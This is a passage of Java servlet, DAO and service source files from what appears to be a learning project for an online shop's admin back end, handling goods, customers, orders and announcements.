request.setAttribute("ServletUrl", "/doGoods?action=queryGoods");
request.getRequestDispatcher(path + "/page/showGoods.jsp").forward(request, response);
}
}
/**
* 删除
*/
if (action!=null && action.equals("delGoods")){
String id=request.getParameter("id");
int a=goodsServiceDao.delGoods(id);
if (a>0){
//删除成功
request.setAttribute("true","tr");
response.sendRedirect(path+"doGoods?action=queryGoods&pageNumber=1");
}else{
//删除失败
request.setAttribute("false","fa");
}
}
/**
* 修改
*/
if (action!=null && action.equals("upGoods")){
String id=request.getParameter("id");
Goods gg=goodsServiceDao.queryById(id);
session.setAttribute("good",gg);
response.sendRedirect(path+"page/updateGoods.jsp");
}
if (action!=null && action.equals("updateGoods")){
long id=Long.valueOf(request.getParameter("id"));
String img=request.getParameter("goodsImg");
String name=request.getParameter("goodsName");
long type=Long.valueOf(request.getParameter("goodsType"));
long dis=Long.valueOf(request.getParameter("goodsDiscId"));
long smid=Long.valueOf(request.getParameter("goodsSmalId"));
double money=Double.valueOf(request.getParameter("goodsMoney"));
long number=Long.valueOf(request.getParameter("goodsNumber"));
String sellid=request.getParameter("goodsSell");
double Carriage=Double.valueOf(request.getParameter("goodsCarriage"));
Goods g=new Goods(id,name,smid,money,number,img,Carriage,type,dis,sellid);
int a=goodsServiceDao.update(g);
if (a>0){
response.sendRedirect(path+"doGoods?action=queryGoods&pageNumber=1");
}else{
out.println("修改失败");
}
}
/**
* 添加
*/
if (action!=null && action.equals("addGoods")){
List<Seller> ss=seldao.queryById();
Smallclass sm=sma.sm();
session.setAttribute("seller",ss);
int id = Integer.parseInt(request.getParameter("id"));
String goodsName = request.getParameter("goodsName");
double goodsMoney = Double.parseDouble(request.getParameter("goodsMoney"));
long goodsNumber = Long.parseLong(request.getParameter("goodsNumber"));
String goodsImage = request.getParameter("goodsImage");
//System.out.println(goodsImage);
double goodsCarriage = Double.parseDouble(request.getParameter("goodsCarriage"));
long goodsType = Long.parseLong(request.getParameter("goodsType"));
long goodsDiscId = Long.parseLong(request.getParameter("goodsDiscId"));
String goodsSmalId =request.getParameter("goodsSmalId");
String goodsSeId =request.getParameter("goodsSeId");
// System.out.println(ss.getId()+"---"+sm.getId());
long goodsSmalId2=Long.valueOf(goodsSmalId);
Goods goods = new Goods(id, goodsName, goodsSmalId2, goodsMoney, goodsNumber, goodsImage, goodsCarriage, goodsType, goodsDiscId, goodsSeId);
int a = goodsServiceDao.addGoods(goods);
if (a > 0) {
//out.print("<h3>添加成功</h3>");
response.sendRedirect(path + "doGoods?action=queryGoods&pageNumber=1");
} else {
out.println("<h3>添加失败</h3>");
}
}
// /**
// * 修改
// */
// if (action!=null && action.equals("upGoods")){
// String id=request.getParameter("id");
// Goods goods=goodsServiceDao.queryById(id);
// session.setAttribute("goods",goods);
// response.sendRedirect(path+"updateGoods.jsp");
//
// }
// if (action!=null && action.equals("updateGoods")){
// String id=request.getParameter("id");
// String name=request.getParameter("id");
// String num=request.getParameter("id");
// String type=request.getParameter("goodsType");
// String money=request.getParameter("goodsMoney");
// String smaId=request.getParameter("goodsSmalId");
// String sellName=request.getParameter("id");
// String dis=request.getParameter("goodsDiscId");
// String img=request.getParameter("goodsImg");
//
//
// }
}
}```
goodsSmaSell.java
```package pojo;
public class goodsSmaSell{
private Smallclass sma;
private Seller sel;
private Goods good;
private Discount dis;
public goodsSmaSell(Smallclass sma, Seller sel, Goods good, Discount dis) {
this.sma = sma;
this.sel = sel;
this.good = good;
this.dis = dis;
}
public Smallclass getSma() {
return sma;
}
public void setSma(Smallclass sma) {
this.sma = sma;
}
public Seller getSel() {
return sel;
}
public void setSel(Seller sel) {
this.sel = sel;
}
public Goods getGood() {
return good;
}
public void setGood(Goods good) {
this.good = good;
}
public goodsSmaSell() {
}
public Discount getDis() {
return dis;
}
public void setDis(Discount dis) {
this.dis = dis;
}
}
```
BigclassServiceDaoImpl.java
```package service.impl;
import Dao.impl.BigclassDaoImpl;
import pojo.Bigclass;
import pojo.page;
import service.BigclassServiceDao;
public class BigclassServiceDaoImpl implements BigclassServiceDao{
private static BigclassServiceDaoImpl ourInstance = new BigclassServiceDaoImpl();
public static BigclassServiceDaoImpl getInstance() {
return ourInstance;
}
private BigclassServiceDaoImpl() {
}
private BigclassDaoImpl bigclassDao=new BigclassDaoImpl();
public page<Bigclass> bigPageQueryAll(int pageNumber, int pageSize) {
return bigclassDao.bigPageQueryAll(pageNumber,pageSize) ;
}
public int delBig(String id) {
return bigclassDao.delBig(id);
}
public int updateById(Bigclass big) {
return bigclassDao.updateById(big);
}
public Bigclass queryById(String id) {
return bigclassDao.queryById(id);
}
public int addBig(Bigclass big) {
return bigclassDao.addBig(big);
}
}
```
AnnouncementServiceDaoImpl.java
```package service.impl;
import Dao.impl.AnnouncementDaoImpl;
import pojo.Announcement;
import pojo.page;
import service.AnnouncementServiceDao;
public class AnnouncementServiceDaoImpl implements AnnouncementServiceDao{
private static AnnouncementServiceDaoImpl ourInstance = new AnnouncementServiceDaoImpl();
public static AnnouncementServiceDaoImpl getInstance() {
return ourInstance;
}
private AnnouncementServiceDaoImpl() {
}
private AnnouncementDaoImpl announcementDao=new AnnouncementDaoImpl();
public page<Announcement> annPageQueryAll(int pageNumber, int pageSize) {
return announcementDao.annPageQueryAll(pageNumber,pageSize);
}
public int addAnn(Announcement ann) {
return announcementDao.addAnn(ann);
}
public int delAnn(String id) {
return announcementDao.delAnn(id);
}
public Announcement queryById(String id) {
return announcementDao.queryById(id);
}
public int updateByid(Announcement ann) {
return announcementDao.updateByid(ann);
}
}
```
SuperServlet.java
```package Servlet;
import pojo.Customer;
import pojo.Superuser;
import pojo.page;
import service.impl.SuperServiceDaoImpl;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.List;
@WebServlet(name = "SuperServlet",urlPatterns = "/doSup")
public class SuperServlet extends HttpServlet {
String id;
String name;
String sex;
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request,response);
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//统一字符集
request.setCharacterEncoding("utf-8");
response.setCharacterEncoding("utf-8");
response.setContentType("text/html;charset=utf-8");
//获取输入流对象
PrintWriter out = response.getWriter();
//获取path路径
String path = request.getContextPath();
//获取session对象
HttpSession session = request.getSession();
//获取SuperService的对象
SuperServiceDaoImpl supdao=SuperServiceDaoImpl.getInstance();
//获取状态值
String action=request.getParameter("action");
/**
* 登录
*/
if (action!=null&&action.equals("beforeLogin")){
String name = request.getParameter("userName");
String pwd = request.getParameter("userPassword");
Superuser sup = supdao.Login(name,pwd);
session.setAttribute("loginSup",sup);
if (sup!=null){
out.print("1");
}else{
out.print("2");
}
}
//
if(action!=null && action.equals("supLogin")){
String name=request.getParameter("userName");
String pwd=request.getParameter("userPassword");
Superuser sup=supdao.Login(name,pwd);
if(sup!=null){
session.setAttribute("Super",sup);
response.sendRedirect(path+"/page/index.jsp");
}else{
request.setAttribute("false","sb");
response.sendRedirect(path+"/Login.html");
}
}
/**
* 修改自己信息
*/
if (action!=null && action.equals("UpdateSelf")){
//接受管理员信息
String id=request.getParameter("id");
String loginName=request.getParameter("userLoginName");
String pwd=request.getParameter("userPwd");
String name=request.getParameter("userName");
Superuser su=(Superuser) session.getAttribute("Super");
String status=request.getParameter("userStatus");
String userid=request.getParameter("userId");
if (id!=null &&status!=null) {
int id2 = Integer.parseInt(id);
int status2 = Integer.parseInt(status);
Superuser sup = new Superuser(id2, name, pwd, su.getUserImage(), status2, userid, loginName);
int a = supdao.supUpdateSelf(sup);
if (a > 0) {
//ok
session.setAttribute("Super", sup);
out.println("<h1>修改成功</h1>");
// response.sendRedirect(path + "/page/index.jsp");
} else {
out.print("修改失败");
}
}
}
/**
* 级联查询顾客信息
*/
if (action!=null && action.equals("jlQuery")) {
//定义每页显示的条数
int pageSize = 5;
//接收要查看的页码
String ss = request.getParameter("pageNumber");
int pageNumber = Integer.parseInt(ss);
id = request.getParameter("cusId");
name = request.getParameter("cusLogin");
sex = request.getParameter("cusSex");
//调用带有分页的查询业务方法
page<Customer> page = supdao.cusQuerylike(pageNumber, pageSize,id,name,sex);
session.setAttribute("Page", page);
request.setAttribute("ServletUrl", "doSup?action=jlQuery");
request.getRequestDispatcher(path + "/page/showCustomer.jsp").forward(request, response);
}
}
}
```
GoodsDaoImpl.java
```package Dao.impl;
import Dao.BaseDao;
import Dao.GoodsDao;
import core.pageUtil;
import pojo.*;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class GoodsDaoImpl extends BaseDao implements GoodsDao{
public page<goodsSmaSell> goodsPageQueryAll(int pageNumber, int pageSize) {
page<goodsSmaSell> Gpage=new page<goodsSmaSell>();
Gpage.setPageSize(pageSize);
Gpage.setPageNumber(pageNumber);
String sql1="select count(1) from goods";
String sql2= "SELECT goods.id,goods.goodsName,smallclass.smallName,goods.goodsMoney,goods.goodsNumber,goods.goodsImage,goods.goodsCarriage,goods.goodsType,seller.sellerName,discount.discRate\n" +
"from goods\n" +
"INNER JOIN seller ON goods.goodsSellId=seller.id\n" +
"INNER JOIN smallclass ON smallclass.id=goods.goodsSmalId\n" +
"INNER JOIN discount ON goodsDiscId=discount.id";
Gpage.setTotalRecode(pageUtil.getTotalRecode(sql1,null));
List<goodsSmaSell> list=new ArrayList<goodsSmaSell>();
ResultSet rs=pageUtil.getPageDate(sql2,pageSize,pageNumber,null);
try{
while (rs.next()){
goodsSmaSell goodsSmaSell=new goodsSmaSell();
Goods g=new Goods();
g.setId(rs.getLong("id"));
g.setGoodsCarriage(rs.getDouble("goodsCarriage"));
g.setGoodsImage(rs.getString("goodsImage"));
g.setGoodsMoney(rs.getDouble("goodsMoney"));
g.setGoodsName(rs.getString("goodsName"));
g.setGoodsNumber(rs.getLong("goodsNumber"));
g.setGoodsType(rs.getLong("goodsType"));
goodsSmaSell.setGood(g);
Smallclass ss=new Smallclass();
ss.setSmallName(rs.getString("smallName"));
Seller se=new Seller();
se.setSellerName(rs.getString("sellerName"));
Discount dis=new Discount();
dis.setDiscRate(rs.getDouble("discRate"));
goodsSmaSell.setDis(dis);
goodsSmaSell.setSel(se);
goodsSmaSell.setSma(ss);
list.add(goodsSmaSell);
}
}catch (SQLException e){
e.printStackTrace();
}finally {
}
Gpage.setPageData(list);
return Gpage;
}
public int delGoods(String id) {
String sql="delete from goods where id = ?";
Object[]par={id};
return getUpdate(sql,par);
}
public int add(Goods gg) {
String sql = "insert into goods values (?,?,?,?,?,?,?,?,?,?)";
Object []paramete = {gg.getId(),gg.getGoodsName(),gg.getGoodsSmalId(),gg.getGoodsMoney(),gg.getGoodsNumber(),
gg.getGoodsImage(), gg.getGoodsCarriage(),gg.getGoodsType(),gg.getGoodsDiscId(),gg.getGoodsSellId()};
return getUpdate(sql,paramete);
}
public List<Goods> query(String sql, Object[] parameter) {
return null;
}
public Goods queryById(String id) {
String sql="select * from goods where id=?";
Object[]par={id};
ResultSet rs= getQuery(sql,par);
Goods g=new Goods();
try{
while (rs.next()){
g.setId(rs.getLong("id"));
g.setGoodsCarriage(rs.getDouble("goodsCarriage"));
g.setGoodsImage(rs.getString("goodsImage"));
g.setGoodsMoney(rs.getDouble("goodsMoney"));
g.setGoodsName(rs.getString("goodsName"));
g.setGoodsNumber(rs.getLong("goodsNumber"));
g.setGoodsType(rs.getLong("goodsType"));
g.setGoodsDiscId(rs.getLong("goodsDiscId"));
g.setGoodsSmalId(rs.getLong("goodsSmalId"));
g.setGoodsSellid(rs.getLong("goodsSellId"));
}
return g;
}catch (SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
return null;
}
public int update(Goods gg) {
String sql="update goods set id=?,goodsName=?,goodsSmalId=?,goodsMoney=?,goodsNumber=?," +
"goodsCarriage=?,goodsType=?,goodsDiscId=?,goodsSellId=? where id=?";
Object[]par={gg.getId(),gg.getGoodsName(),gg.getGoodsSmalId(),gg.getGoodsMoney(),
gg.getGoodsNumber(),gg.getGoodsCarriage(),gg.getGoodsType(),gg.getGoodsDiscId(),gg.getGoodsSellId(),gg.getId()};
return getUpdate(sql,par);
}
}
```
smallBig.java
```package pojo;
public class smallBig {
private Smallclass sma;
private Bigclass big;
public smallBig(Smallclass sma, Bigclass big) {
this.sma = sma;
this.big = big;
}
public smallBig() {
}
public Smallclass getSma() {
return sma;
}
public void setSma(Smallclass sma) {
this.sma = sma;
}
public Bigclass getBig() {
return big;
}
public void setBig(Bigclass big) {
this.big = big;
}
}
```
CustomerDaoImpl.java
```package Dao.impl;
import Dao.BaseDao;
import Dao.CustomerDao;
import core.pageUtil;
import pojo.*;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class CustomerDaoImpl extends BaseDao implements CustomerDao{
public page<Customer> pageQuery(int pageSize, int pageNumber) {
page<Customer> pageList=new page<Customer>();
pageList.setPageSize(pageSize);
pageList.setPageNumber(pageNumber);
String sql1 = "select count(1) from customer";
String sql2 = "select * from customer";
pageList.setTotalRecode(pageUtil.getTotalRecode(sql1,null));
List<Customer> list=new ArrayList<Customer>();
ResultSet rs=pageUtil.getPageDate(sql2,pageSize,pageNumber,null);
try{
while(rs.next()){
Customer cus=new Customer();
cus.setId(rs.getLong("id"));
cus.setCusName(rs.getString("cusName"));
cus.setCusLoginName(rs.getString("cusLoginName"));
cus.setCusBirthday(rs.getDate("cusBirthday"));
cus.setCusCode(rs.getString("cusCode"));
cus.setCusEmail(rs.getString("cusEmail"));
cus.setCusHobby(rs.getString("cusHobby"));
cus.setCusPassword(rs.getString("cusPassword"));
cus.setCusSex(rs.getString("cusSex"));
cus.setCusPhoto(rs.getString("cusPhoto"));
list.add(cus);
}
}catch(SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
pageList.setPageData(list);
return pageList;
}
public int delCus(String id) {
String sql="delete from customer where id=?";
Object[]par={id};
return getUpdate(sql,par);
}
public Customer queryById(String id) {
String sql="select *from customer where id=?";
Object[]par={id};
ResultSet rs=getQuery(sql,par);
Customer cus=null;
try{
while(rs.next()){
cus=new Customer();
cus.setId(rs.getLong("id"));
cus.setCusName(rs.getString("cusName"));
cus.setCusLoginName(rs.getString("cusLoginName"));
cus.setCusBirthday(rs.getDate("cusBirthday"));
cus.setCusCode(rs.getString("cusCode"));
cus.setCusEmail(rs.getString("cusEmail"));
cus.setCusHobby(rs.getString("cusHobby"));
cus.setCusPassword(rs.getString("cusPassword"));
cus.setCusSex(rs.getString("cusSex"));
cus.setCusPhoto(rs.getString("cusPhoto"));
}
return cus;
}catch(SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
return null;
}
public int updateById(Customer cus) {
String sql="update customer set id=?,cusName=?,cusEmail=?,cusSex=?,cusPhoto=?,cusHobby=?,cusCode=?,cusBirthday=? where id=?";
Object[]par={cus.getId(),cus.getCusName(),cus.getCusEmail(),cus.getCusSex(),cus.getCusPhoto(),cus.getCusHobby(),cus.getCusCode(),cus.getCusBirthday(),cus.getId()};
return getUpdate(sql,par);
}
public List<Customer> login(String name, String pwd) {
return null;
}
public int addCus(Customer cus) {
return 0;
}
public List<Goods> query() {
return null;
}
public int addShop(Shoppingcar shop) {
String sql="INSERT INTO shoppingcar (scGoodsId,scCusId,scNumber)VALUES(?,?,?)";
Object[]par={shop.getScGoodsId(),shop.getScCusId(),shop.getScNumber()};
return getUpdate(sql,par);
}
public int updateShop(Shoppingcar shop) {
String sql="update shoppingcar set scNumber=?";
Object[]par={shop.getScNumber()};
return getUpdate(sql,par);
}
public int delShop(String id) {
return 0;
}
public Orderse queryOrder(String id) {
return null;
}
public List<Goods> queryLikeGoods(String id, String name) {
return null;
}
}
```
OrderseServlet.java
```package Servlet;
import pojo.Orderse;
import pojo.page;
import service.impl.OrderServiceDaoImpl;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet(name = "OrderseServlet",urlPatterns = "/doOrder")
public class OrderseServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request,response);
}
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//设置字符集编码格式
request.setCharacterEncoding("utf-8");
response.setCharacterEncoding("utf-8");
response.setContentType("text/html;charset=utf-8");
//获取输入流对象
PrintWriter out = response.getWriter();
//获取path路径
String path = request.getContextPath();
//获取session对象
HttpSession session = request.getSession();
//获取Service的对象
OrderServiceDaoImpl orderdao=OrderServiceDaoImpl.getInstance();
String action=request.getParameter("action");
if (action!=null&&action.equals("queryOrder")){
//定义每页显示的条数
int pageSize = 5;
//接收要查看的页码
String ss = request.getParameter("pageNumber");
if (ss != null && !ss.equals("")) {
int pageNumber=Integer.parseInt(ss);
//调用带有分页的查询业务方法
page<Orderse> page=orderdao.orderPageQueryAll(pageNumber,pageSize);
session.setAttribute("Page", page);
request.setAttribute("ServletUrl", "/doOrder?action=queryOrder");
request.getRequestDispatcher(path + "/page/showOrder.jsp").forward(request, response);
}
}
/**
* 删除
*/
if(action!=null && action.equals("delOrder")){
String id=request.getParameter("id");
int a=orderdao.delOrder(id);
if (a>0){
//删除成功
session.setAttribute("true","yes");
response.sendRedirect(path+"doOrder?action=queryOrder&pageNumber=1");
}else {
//删除失败
session.setAttribute("false","no");
response.sendRedirect(path+"doOrder?action=queryOrder&pageNumber=1");
}
}
/**
* 修改
*/
if (action!=null && action.equals("upOrder")){
String id=request.getParameter("id");
}
if (action!=null && action.equals("updateOrder")){
}
}
}
```
OrderDaoImpl.java
```package Dao.impl;
import Dao.BaseDao;
import Dao.OrderDao;
import core.pageUtil;
import pojo.Orderse;
import pojo.page;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class OrderDaoImpl extends BaseDao implements OrderDao {
public page<Orderse> orderPageQueryAll(int pageNumber, int pageSize) {
page<Orderse> page=new page<Orderse>();
page.setPageNumber(pageNumber);
page.setPageSize(pageSize);
String sql="select count(1) from orderse ";
String sql2="select *from orderse";
page.setTotalRecode(pageUtil.getTotalRecode(sql,null));
List<Orderse> list=new ArrayList<Orderse>();
ResultSet rs=pageUtil.getPageDate(sql2,pageSize,pageNumber,null);
try{
while(rs.next()){
Orderse oo=new Orderse();
oo.setId(rs.getLong("id"));
oo.setOrderseCusId(rs.getLong("orderseCusId"));
oo.setOrderseAddress(rs.getString("orderseAddress"));
oo.setOrderseDate(rs.getDate("orderseDate"));
oo.setOrderseGoodsId(rs.getLong("orderseGoodsId"));
oo.setOrderseMoney(rs.getDouble("orderseMoney"));
oo.setOrderseStatus(rs.getLong("orderseStatus"));
list.add(oo);
}
}catch (SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
page.setPageData(list);
return page;
}
public int delOrder(String id) {
String sql="delete from orderse where id=?";
Object[]par={id};
return getUpdate(sql,par);
}
public int updateById(Orderse oo) {
return 0;
}
public Orderse queryByid(String id) {
String sql="select * from orderse where id=?";
Object[]par={id};
ResultSet rs= getQuery(sql,par);
try{
while (rs.next()){
Orderse or=new Orderse();
}
}catch (SQLException e){
e.printStackTrace();
}finally {
}
return null;
}
}
```
SuperServiceDaoImpl.java
```package service.impl;
import Dao.impl.SuperDaoImpl;
import core.pageUtil;
import pojo.Customer;
import pojo.Superuser;
import pojo.page;
import service.SuperServiceDao;
import java.sql.ResultSet;
import java.util.ArrayList;
import java.util.List;
public class SuperServiceDaoImpl implements SuperServiceDao {
private static SuperServiceDaoImpl ourInstance = new SuperServiceDaoImpl();
public static SuperServiceDaoImpl getInstance() {
return ourInstance;
}
private SuperServiceDaoImpl() {
}
private SuperDaoImpl superDao = new SuperDaoImpl();
public Superuser Login(String name, String pwd) {
List<Superuser> sup = superDao.querySuper(name, pwd);
if (sup != null && sup.size() > 0) {
return sup.get(0);
}
return null;
}
public int supUpdateSelf(Superuser sup) {
return superDao.supUpdateSelf(sup);
}
public page<Customer> cusQuerylike(int pageNumber, int pageSize, String id, String name, String sex) {
if (id!=null && name!=null && sex!=null) {
int idsize = id.length();
int nameSize = name.length();
int sexSize = sex.length();
if (idsize == 0 && nameSize == 0 && sexSize == 0) {
//查询所有
String sql = "select count(1) from customer ";
String sql2 = "select * from customer";
return superDao.cusQuerylike(pageNumber, pageSize, sql, sql2, null);
} else if (idsize > 0 && nameSize == 0 && sexSize == 0) {
//根据id具体查询
String sql = "select count(1) from customer where id=?";
String sql2 = "select *from customer where id=? ";
Object[] par = {id};
return superDao.cusQuerylike(pageNumber, pageSize, sql, sql2, par);
} else if (idsize == 0 && nameSize > 0 && sexSize == 0) {
//根据姓名模糊查询
String sql = "select count(1) from customer where cusName like ? ";
String sql2 = "select*from customer where cusName like ? ";
Object[] par = {"%" + name + "%"};
return superDao.cusQuerylike(pageNumber, pageSize, sql, sql2, par);
} else if (idsize == 0 && nameSize == 0 && sexSize > 0) {
//根据性别查询
String sql = "select count(1) from customer where cusSex = ?";
String sql2 = "select*from customer where cusSex = ? ";
Object[] par = {sex};
return superDao.cusQuerylike(pageNumber, pageSize, sql, sql2, par);
} else if (idsize > 0 && nameSize > 0 && sexSize > 0) {
//根据id姓名性别查询
String sql = "select count(1) from customer where id = ? and cusName like ? and cusSex=?";
String sql2 = "select*from customer where id = ? and cusName like ? and cusSex=? ";
Object[] par = {id, "%" + name + "%", sex};
return superDao.cusQuerylike(pageNumber, pageSize,sql, sql2, par);
} else if (idsize > 0 && nameSize > 0 && sexSize == 0) {
//根据id姓名查询
String sql = "select count(1) from customer where id = ? and cusName like ?";
String sql2 = "select*from customer where id = ? and cusName like ? ";
Object[] par = {id, "%" + name + "%"};
return superDao.cusQuerylike(pageNumber, pageSize, sql, sql2, par);
} else if (idsize > 0 && nameSize == 0 && sexSize > 0) {
String sql = "select count(1) from customer where id = ? and cusSex=?";
String sql2 = "select*from customer where id = ? and cusSex=? ";
Object[] par = {id, sex};
return superDao.cusQuerylike(pageNumber, pageSize, sql, sql2, par);
}
}
return null;
}
}
```
BigclassServiceDao.java
```package service;
import pojo.Bigclass;
import pojo.page;
public interface BigclassServiceDao {
page<Bigclass> bigPageQueryAll(int pageNumber, int pageSize);
int delBig(String id);
int updateById(Bigclass big);
Bigclass queryById(String id);
int addBig(Bigclass big);
}
```
AnnouncementDaoImpl.java
```package Dao.impl;
import Dao.AnnouncementDao;
import Dao.BaseDao;
import core.pageUtil;
import pojo.Announcement;
import pojo.page;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class AnnouncementDaoImpl extends BaseDao implements AnnouncementDao {
public page<Announcement> annPageQueryAll(int pageNumber, int pageSize) {
page<Announcement> Bpage=new page<Announcement>();
Bpage.setPageNumber(pageNumber);
Bpage.setPageSize(pageSize);
String sql="SELECT COUNT(1) from announcement ";
String sql2="select * from announcement";
Bpage.setTotalRecode(pageUtil.getTotalRecode(sql,null));
List<Announcement> list=new ArrayList<Announcement>();
ResultSet rs=pageUtil.getPageDate(sql2,pageSize,pageNumber,null);
try{
while(rs.next()){
Announcement a=new Announcement();
a.setATitle(rs.getString("aaTitle"));
a.setAText(rs.getString("aaText"));
a.setADate(rs.getDate("aaDate"));
a.setId(rs.getLong("id"));
list.add(a);
}
}catch (SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
Bpage.setPageData(list);
return Bpage;
}
public int addAnn(Announcement ann) {
String sql="insert into announcement values(?,?,?,?)";
Object[]par={ann.getId(),ann.getAnTitle(),ann.getAnText(),ann.getAnDate()};
return getUpdate(sql,par);
}
public int delAnn(String id) {
String sql="delete from announcement where id=?";
Object[]par={id};
return getUpdate(sql,par);
}
public Announcement queryById(String id) {
String sql="select * from announcement where id=?";
Object[]par={id};
ResultSet rs= getQuery(sql,par);
Announcement a=new Announcement();
try{
while(rs.next()){
a.setATitle(rs.getString("aaTitle"));
a.setAText(rs.getString("aaText"));
a.setADate(rs.getDate("aaDate"));
a.setId(rs.getLong("id"));
}
}catch (SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
return a;
}
public int updateByid(Announcement ann) {
String sql="update announcement set id=?,aaTitle=?,aaText=?,aaDate=? where id=?";
Object[]par={ann.getId(),ann.getAnTitle(),ann.getAnText(),ann.getAnDate(),ann.getId()};
return getUpdate(sql,par);
}
}
```
AnnouncementServlet.java
```package Servlet;
import pojo.Announcement;
import pojo.page;
import service.impl.AnnouncementServiceDaoImpl;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Date;
@WebServlet(name = "AnnouncementServlet",urlPatterns = "/doAnn")
public class AnnouncementServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request,response);
}
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//统一字符集
request.setCharacterEncoding("utf-8");
response.setCharacterEncoding("utf-8");
response.setContentType("text/html;charset=utf-8");
//获取输入流对象
PrintWriter out = response.getWriter();
//获取path路径
String path = request.getContextPath();
//获取session对象
HttpSession session = request.getSession();
//获取goodsService的对象
AnnouncementServiceDaoImpl annDao=AnnouncementServiceDaoImpl.getInstance();
String action=request.getParameter("action");
if (action!=null && action.equals("queryAnn")){
//定义每页显示的条数
int pageSize = 5;
//接收要查看的页码
String ss = request.getParameter("pageNumber");
if (ss != null && !ss.equals("")) {
int pageNumber=Integer.parseInt(ss);
//调用带有分页的查询业务方法
page<Announcement> page=annDao.annPageQueryAll(pageNumber,pageSize);
session.setAttribute("Page", page);
request.setAttribute("ServletUrl", "/doAnn?action=queryAnn");
request.getRequestDispatcher(path + "/page/showAnnouncement.jsp").forward(request, response);
}
}
/**
* 删除
*/
if (action!=null && action.equals("delAnn")){
String id=request.getParameter("id");
int a=annDao.delAnn(id);
if (a>0){
response.sendRedirect(path+"doAnn?action=queryAnn&pageNumber=1");
}else {
out.println("删除失败");
}
}
/**
* 修改
*/
if (action!=null && action.equals("upAnn")){
String id=request.getParameter("id");
Announcement ann=annDao.queryById(id);
if (ann!=null){
session.setAttribute("Ann",ann);
response.sendRedirect(path+"page/updateAnnouncement.jsp");
}
}
if (action!=null && action.equals("updateAnn")){
String id=request.getParameter("id");
String title=request.getParameter("anTitle");
String date=request.getParameter("anDate");
String text=request.getParameter("anText");
if (id!=null && !id.equals("")) {
long id2=Long.valueOf(id);
Announcement aa = new Announcement(id2, title, text, Date.valueOf(date));
int a=annDao.updateByid(aa);
if (a>0){
//修改成功
response.sendRedirect(path+"doAnn?action=queryAnn&pageNumber=1");
}else{
out.println("修改失败");
}
}
}
/**
* 添加
*/
if(action!=null&&action.equals("addAnn")){
String id=request.getParameter("id");
String title=request.getParameter("title");
String text=request.getParameter("text");
String date=request.getParameter("date");
if (id!=null&&!id.equals("")) {
long id2=Long.valueOf(id);
Announcement aa = new Announcement(id2, title, text, Date.valueOf(date));
int a=annDao.addAnn(aa);
if (a>0){
//添加成功
response.sendRedirect(path+"doAnn?action=queryAnn&pageNumber=1");
}else{
out.println("添加失败");
}
}
}
}
}
```
CustomerServlet.java
```package Servlet;
import pojo.Customer;
import pojo.page;
import service.impl.CustomerServiceDaoImpl;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
import java.text.ParseException;
import java.text.SimpleDateFormat;
@WebServlet(name = "CustomerServlet",urlPatterns = "/doCus")
public class CustomerServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request,response);
}
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//设置字符集编码格式
request.setCharacterEncoding("utf-8");
response.setCharacterEncoding("utf-8");
response.setContentType("text/html;charset=utf-8");
//获取输入流对象
PrintWriter out = response.getWriter();
//获取path路径
String path = request.getContextPath();
//获取session对象
HttpSession session = request.getSession();
//获取CustomerService的对象
CustomerServiceDaoImpl cusImpl=CustomerServiceDaoImpl.getInstance();
String action=request.getParameter("action");
/**
* 查询顾客
*/
if(action!=null && action.equals("queryCustomer")){
//定义每页显示的条数
int pageSize = 5;
//接收要查看的页码
String ss = request.getParameter("pageNumber");
if (ss != null && !ss.equals("")) {
int pageNumber=Integer.parseInt(ss);
//调用带有分页的查询业务方法
page<Customer> page = cusImpl.cusPageQueryAll(pageNumber,pageSize);
session.setAttribute("Page", page);
request.setAttribute("ServletUrl", "/doCus?action=queryCustomer");
request.getRequestDispatcher(path + "/page/showCustomer.jsp").forward(request, response);
}
}
/**
* 删除
*/
if(action!=null && action.equals("delCus")){
String cusid=request.getParameter("id");
int i=cusImpl.delCus(cusid);
if (i>0){
//删除成功
session.setAttribute("true","tr");
response.sendRedirect(path+"doCus?action=queryCustomer&pageNumber=1");
}else{
//删除失败
session.setAttribute("false","fa");
}
}
/**
* 修改信息
*/
if (action!=null && action.equals("upCus")){
String id=request.getParameter("id");
Customer s=cusImpl.queryById(id);
if (s!=null){
session.setAttribute("cus",s);
response.sendRedirect(path+"page/updateCusInfo.jsp");
